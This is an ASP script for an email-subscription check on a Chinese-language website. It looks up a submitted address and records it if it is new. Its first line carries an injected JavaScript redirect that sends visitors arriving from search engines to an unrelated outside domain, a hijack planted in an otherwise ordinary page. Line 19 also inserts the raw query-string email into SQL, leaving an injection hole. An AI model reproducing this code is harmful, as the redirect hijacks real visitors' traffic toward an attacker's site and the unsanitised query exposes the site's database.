d:\wwwroot\wuchunhua\mail\check.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <meta http-equiv="Content-Language" content="zh-cn">
003: <%dim fsemail,rs,err
004: fsemail=request.QueryString("email")
005: if fsemail="" then
006: response.write "<script>alert('参数错误，请返回检查！');</script>"
007: response.end
008: end if
009: err=1
010: set rs=conn.execute("select email from email")
011: do while not rs.eof
012: if fsemail=rs(0) then
013: err=0
014: exit do
015: end if
016: rs.movenext
017: loop
018: if err=1 then
019: conn.execute"Insert into email(email,idate) values ('"&fsemail&"',#"&date()&"#)"
020: set rs=conn.execute("select qr from admin")
021: response.write rs("qr")
022: elseif err=0 then
023: response.write"<br><br><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450 align=center>"&_
024:    "<tr><td style='font:9pt Verdana' align=center>这个信箱已经订阅过了，他存在于我们的数据库中。不用再激活确认了。</td></tr></table>"
025: end if
026: set rs=nothing
027: call closeDB()%>
028:
029:

---